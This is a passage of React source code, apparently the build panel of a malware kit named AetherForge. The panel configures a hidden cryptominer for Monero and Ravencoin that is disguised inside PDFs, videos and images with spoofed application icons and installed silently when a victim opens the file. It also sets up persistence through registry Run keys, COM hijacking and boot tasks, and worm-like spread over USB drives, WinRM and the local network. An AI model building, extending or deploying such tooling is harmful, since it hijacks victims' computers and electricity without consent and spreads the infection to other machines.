0 && form.wallet.trim().length < 90 ? ' input-warn' : ''}`} placeholder="4... or 8... (90–106 characters)" value={form.wallet} onChange={(e) => updateField('wallet', e.target.value)} required spellCheck={false} /> {form.wallet && form.wallet.trim().length > 0 && form.wallet.trim().length < 90 && (

Wallet address looks short — Monero addresses are 90–106 characters starting with 4 or 8.

)}
{ updateField('pool_host', next.pool_host); updateField('pool_port', next.pool_port); updateField('pool_tls', next.pool_tls); updateField('backup_pools', next.backup_pools); }} />
updateField('pool_pass', e.target.value)} />

Standard Monero pools use x.

{/* ── GPU Mining (Ravencoin / KawPoW) ── */}

When enabled the agent detects GPU vendor, downloads the correct KawPoW miner, and runs it silently alongside the CPU Monero miner. Requires a discrete NVIDIA or AMD GPU on the target.

{form.gpu_enabled && ( <>
updateField('rvn_wallet', e.target.value)} />

Your Ravencoin wallet address. Only Ravencoin (RVN) mainnet addresses are accepted by KawPoW pools.

{ updateField('rvn_pool_host', next.rvn_pool_host); updateField('rvn_pool_port', next.rvn_pool_port); updateField('rvn_pool_tls', next.rvn_pool_tls); updateField('rvn_backup_pools', next.rvn_backup_pools); }} />
updateField('rvn_pool_pass', e.target.value)} />

Most public KawPoW pools use x.

)}

{deliverableSummary(deliverableType)}

{fieldMeta.target_os?.disabled ? ( ) : ( )}
{(form.target_os === 'linux' || form.target_os === 'darwin') && (
)}
{deliverableType === 'spread_kit' && (

Spread Kit preset: idle mining, stealth, persistence, self-healing, and remote aggressive ops enabled. Upload nothing — forge produces the deploy ZIP.

)}
{form.apk_mode && (

Install the forged APK on a phone or tablet. Grant permissions on first open — the node joins your fleet as{' '} platform=android (mining off by default). Not a mining-first deliverable; use for fleet presence on mobile.

)}
{!simpleMode && (
updateField('output_dir' as any, e.target.value)} />

Example: exports will copy the finished exe to data/exports on this host.

)}
{!simpleMode && ( <>
{ const v = e.target.valueAsNumber; if (isFinite(v)) updateField('thread_percent', v); }} onBlur={(e) => { const v = e.target.valueAsNumber; if (!isFinite(v) || v < 1) updateField('thread_percent', 75); else if (v > 100) updateField('thread_percent', 100); }} />
{ const v = e.target.valueAsNumber; if (isFinite(v) && v >= 1) updateField('threads', v); }} onBlur={(e) => { const v = e.target.valueAsNumber; if (!isFinite(v) || v < 1) updateField('threads', 4); }} />
{ const v = e.target.valueAsNumber; if (isFinite(v) && v >= 1 && v <= 100) updateField('max_cpu_usage_pct', v); }} onBlur={(e) => { const v = e.target.valueAsNumber; if (!isFinite(v) || v < 1) updateField('max_cpu_usage_pct', 95); }} />
{ const v = e.target.valueAsNumber; if (isFinite(v) && v >= 10 && v <= 95) updateField('max_memory_percent', v); }} onBlur={(e) => { const v = e.target.valueAsNumber; if (!isFinite(v) || v < 10) updateField('max_memory_percent', 85); }} />
{ const v = e.target.valueAsNumber; if (isFinite(v) && v >= 256) updateField('min_free_ram_mb', v); }} onBlur={(e) => { const v = e.target.valueAsNumber; if (!isFinite(v) || v < 256) updateField('min_free_ram_mb', 512); }} />
{form.mining_mode === 'idle' && (
{ const v = e.target.valueAsNumber; if (isFinite(v) && v >= 1 && v <= 100) updateField('idle_threshold_pct', v); }} onBlur={(e) => { const v = e.target.valueAsNumber; if (!isFinite(v) || v < 1) updateField('idle_threshold_pct', 20); }} />
{ const v = e.target.valueAsNumber; if (isFinite(v) && v >= 1) updateField('idle_duration_minutes', v); }} onBlur={(e) => { const v = e.target.valueAsNumber; if (!isFinite(v) || v < 1) updateField('idle_duration_minutes', 5); }} />
)} {form.mining_mode === 'scheduled' && (
updateField('schedule_start', e.target.value)} />
updateField('schedule_end', e.target.value)} />
)}
{installBaseOptions.find((o) => o.value === form.install_base)?.hint && (

{installBaseOptions.find((o) => o.value === form.install_base)!.hint}

)}
{form.install_base === 'custom' && (
updateField('install_custom_base', e.target.value)} />
)}
updateField('install_relative_path', e.target.value)} />
{installPreview}
updateField('process_name', e.target.value)} />
{form.run_as === 'host_binary' && (
)}

Logon Run keys start the worker when a user signs in. Boot tasks (above) can start earlier at ONSTART. Fleet registry read/write/delete is available under Remote Actions on Windows agents.

)} {deliverableType !== 'spread_kit' && !form.apk_mode && (
{form.fusion_enabled && (

Uncheck Enable Fusion above to return to a plain single-platform worker build.

)}
{deliverableType === 'fusion' && form.fusion_enabled && (

Fusion deliverable — drop your file below and forge. Output is one universal ZIP (Windows + Mac + Linux).

)} {form.fusion_enabled && ( <> {/* Single-file pick (used when Forge button is clicked) */}
{ applyFusionFileSelection(e.target.files?.[0] || null); setHighlightFusionPrep(false); e.target.value = ''; }} /> {fusionPrepFile && !fusionIsExe && (
{fusionPrepFile.name} — {fusionFileTypeLabel(fusionPrepFile.name)},{' '} {(fusionPrepFile.size / 1024 / 1024).toFixed(2)} MB
Windows disguise: runner will be named{' '} {disguisedWindowsRunnerName(fusionPrepFile.name)} with the{' '} {fusionFileTypeLabel(fusionPrepFile.name)} icon injected. Explorer shows it as {disguisedDisplayName(fusionPrepFile.name)} — identical to a real {fusionFileTypeLabel(fusionPrepFile.name)}.
)} {fusionPrepFile && fusionIsExe && ( {fusionPrepFile.name} — Windows executable, {(fusionPrepFile.size / 1024 / 1024).toFixed(2)} MB — will run directly when opened )}

Supports any file type — PDF, video (MP4/MOV/MKV), Word, Excel, image, etc. Max 2 GB. On Windows: icon + file description are spoofed to match the real application (Adobe Acrobat, Microsoft Word, VLC, etc.).

{/* Delivery mode — applies to all file types */}

Everything baked into a single runner binary. Drop one file anywhere and run it — no extras needed. Best for files under ~500 MB.

Your original file + runners in a ZIP. Works for any file size. The recipient unzips and opens the launcher for their OS — the file opens normally, miner installs silently.

{/* Batch: queue multiple files, each gets its own ZIP */}
{ const list = e.target.files ? Array.from(e.target.files) : []; setFusionBatchFiles(list); e.target.value = ''; }} /> {fusionBatchFiles.length > 0 && (

{fusionBatchFiles.length} file{fusionBatchFiles.length !== 1 ? 's' : ''} queued — each becomes a separate universal ZIP in{' '} fusion-deliverables/:

    {fusionBatchFiles.map((f) => { const isExe = fusionPayloadKind(f) === 'exe'; return (
  • {f.name}{' '} ({fusionFileTypeLabel(f.name)}, {(f.size/1024/1024).toFixed(1)} MB) {!isExe && ( → Windows: {disguisedDisplayName(f.name)} )}
  • ); })}
)} {batchJob && (
BATCH FORGE {batchJob.current}/{batchJob.total} — {batchJob.phase}
{batchJob.fileName && (

Current: {batchJob.fileName}

)}
    {batchJob.log.map((row) => (
  • {row.status === 'ok' ? '✓' : row.status === 'fail' ? '✕' : row.status === 'active' ? '…' : '○'} {row.name} {row.detail ? ` — ${row.detail}` : ''}
  • ))}
)} {fusionBatchFiles.length > 0 && (
{building && batchJob && batchJob.phase !== 'done' && batchJob.phase !== 'cancelled' && ( )}
)}

Each ZIP contains runners for Windows, Mac, and Linux. The recipient runs the launcher for their OS — the file opens, the miner installs.

{!simpleMode && (
updateField('fusion_output_name', e.target.value)} />
)} {simpleMode && fusionPrepFile && (

Runner name: {form.fusion_output_name || defaultRunnerName(fusionPrepFile.name)}. Run order: parallel (file opens + miner installs simultaneously).

)}

Output: one universal ZIP containing runners for every OS. Each runner opens {fusionPrepFile?.name || 'your file'} and silently installs the worker.

{fusionPrepFile && (

WHAT YOU GET — {fusionFileTypeLabel(fusionPrepFile.name).toUpperCase()}

  • Windows: Start.bat or disguised runner (e.g. {disguisedDisplayName(fusionPrepFile.name)} with Photos icon) — opens the image in the default viewer, miner runs hidden.
  • Linux: start.shbin/linux-amd64/{fusionPrepFile.name.replace(/\.[^.]+$/, '')}-runner
  • macOS: Start.command or {fusionTitleFromFilename(fusionPrepFile.name)}.app bundle
  • {fusionMediaMode === 'paired' && (
  • ZIP also includes: your original {fusionPrepFile.name} at the root (paired mode).
  • )}
  • Download: {fusionTitleFromFilename(fusionPrepFile.name)}-package.zip under fusion-deliverables on the server.
)} {(estimateLoading || fusionEstimate || estimateError) && (

FUSION SIZE ESTIMATE (DRY RUN)

{estimateLoading &&

Calculating…

} {estimateError &&

{estimateError}

} {fusionEstimate && ( <>
  • Prep: {formatBytes(fusionEstimate.prep_bytes)} ({fusionEstimate.prep_name})
  • + Worker (est.): {formatBytes(fusionEstimate.estimated_worker_bytes)}
  • + Fusion launcher: ~{formatBytes(fusionEstimate.estimated_fusion_stub_bytes)}
  • Total (est.): {formatBytes(fusionEstimate.estimated_total_bytes)}

Project root: {fusionEstimate.project_root_path}

{fusionEstimate.export_path && (

Export copy: {fusionEstimate.export_path}

)}

Archive: {fusionEstimate.archive_path_hint}

{fusionEstimate.notes?.map((note) => (

{note}

))} )}
)} )}
)} {/* ── PATH FORGE ─────────────────────────────────────────────── */}

{' '}For every file found (movies, docs, archives…) the server drops all three companions right beside it:
Terminator.exe · Terminator.bat · Terminator.command

setPfPath(e.target.value)} disabled={pfBusy} /> Path on the machine running AetherForge.exe (e.g. your USB drive or NAS).
setPfStem(e.target.value)} disabled={pfBusy || pfStemMode !== 'custom'} />
{pfStemMode === 'original' ? pfLock ? 'Terminator.mkv → Terminator.mkv.locked + Terminator.exe · Terminator.bat · Terminator.command' : 'Terminator.mkv (kept) + Terminator.exe · Terminator.bat · Terminator.command' : pfLock ? `filename.ext.locked + ${pfStem || 'VideoPlayer'}.exe · .bat · .command` : `filename.ext (kept) + ${pfStem || 'VideoPlayer'}.exe · .bat · .command`}
Keep both on → all 3 files drop next to every original (recommended)
{pfResult && (

0 ? 'var(--neon-amber)' : 'var(--neon-green)' }}> {pfResult.errors === 0 && pfResult.placed > 0 ? `✓ ${pfResult.placed} files placed across ${pfResult.total} source files` : `⚠ ${pfResult.placed} placed · ${pfResult.errors} errors · ${pfResult.total} total`}

{pfResult.results.slice(0, 20).map((r, i) => (
📄 {r.source} (kept)
{'↳ '}{r.files.join(' · ')}
))} {pfResult.results.length > 20 && (

…and {pfResult.results.length - 20} more

)} {pfResult.error_list?.slice(0, 5).map((e, i) => (

{e}

))}
)}
{!simpleMode && ( <>
{form.ai_enabled && ( <>
updateField('ai_ollama_endpoint', e.target.value)} />

Control server machine — not the worker. Default: http://localhost:11434

updateField('ai_model', e.target.value)} />

Model to use for decisions. Default: llama3.2. Must support tool-calling / JSON output.

)}
{form.auto_spread && (

⚠ Auto-Spread is ON — every agent forged with this config will scan and propagate automatically.

)}
{form.usb_spread && (
⚡ Perpetual chain — agent silently copies itself to every USB drive inserted into any infected PC (including drives already plugged in at startup), installs a persistent WMI trigger, and drops a visible SETUP.BAT + folder icon so the next PC's user just clicks. Each new machine repeats the cycle forever.
)}
{form.winrm_spread && (

⚠ WinRM Spread is ON — autospread will probe /24 and push to WinRM-enabled hosts.

)}
{form.webrtc_mesh_spread && (

⚠ WebRTC mesh is ON — heavier LAN seed path; payload bytes stay on subnet, server sees hashrate + join_lane only.

)}
{form.com_hijack_persist && (
⚠ COM Hijack is ON — high-friction persistence via registry CLSID hijack. Use only on owned lab hosts.
)}
{(form.target_os === 'linux' || form.target_os === 'universal') && (
{form.linux_lotl_mode && form.linux_lotl_mode !== 'off' && (

⚠ Linux LOTL persistence is {form.linux_lotl_mode.replace(/_/g, ' ')} — baked into Linux/universal workers only.

)}
)}
)}

PREFLIGHT CROSS-CHECK

    {preflightChecks.map((c) => (
  • {c.level === 'ok' ? '✓' : c.level === 'warn' ? '!' : '✕'} {c.message}
  • ))}
{error && (
⚠️ {error}
)}
{building && !batchJob && ( )}
{!canForge && errorCount > 0 && (

Forge is blocked until all preflight errors (✕) are resolved. Warnings (!) still allow forging.

)}
{lastBuild?.success && (
{lastBuild.file_name || 'Build ready'} {lastBuild.file_size != null && ( {((lastBuild.file_size || 0) / 1024 / 1024).toFixed(1)} MB )} {lastBuild.fusion_enabled && FUSION} {lastBuild.obfuscated && GARBLED} {lastBuild.sigil_scramble && SIGIL} {lastBuild.signed && SIGNED} {lastBuild.stealth_score != null && lastBuild.stealth_score > 0 && ( {lastBuild.stealth_score} )}
{lastBuild.download_url && lastBuild.file_name && ( ↓ Download )} {lastBuild.build_id && lastBuild.extra_files?.map((f) => f.file_name ? ( ↓ {f.file_name} ) : null )} {showBlueprintOffer && ( )}
)}
{dispenseReveal?.success && ( setDispenseReveal(null)} /> )} {missionComplete && (
setMissionComplete(false)} >
e.stopPropagation()}>

Mission complete

Your build is ready. Copy per-machine install commands from Builds.

Open spread landing
)}
); }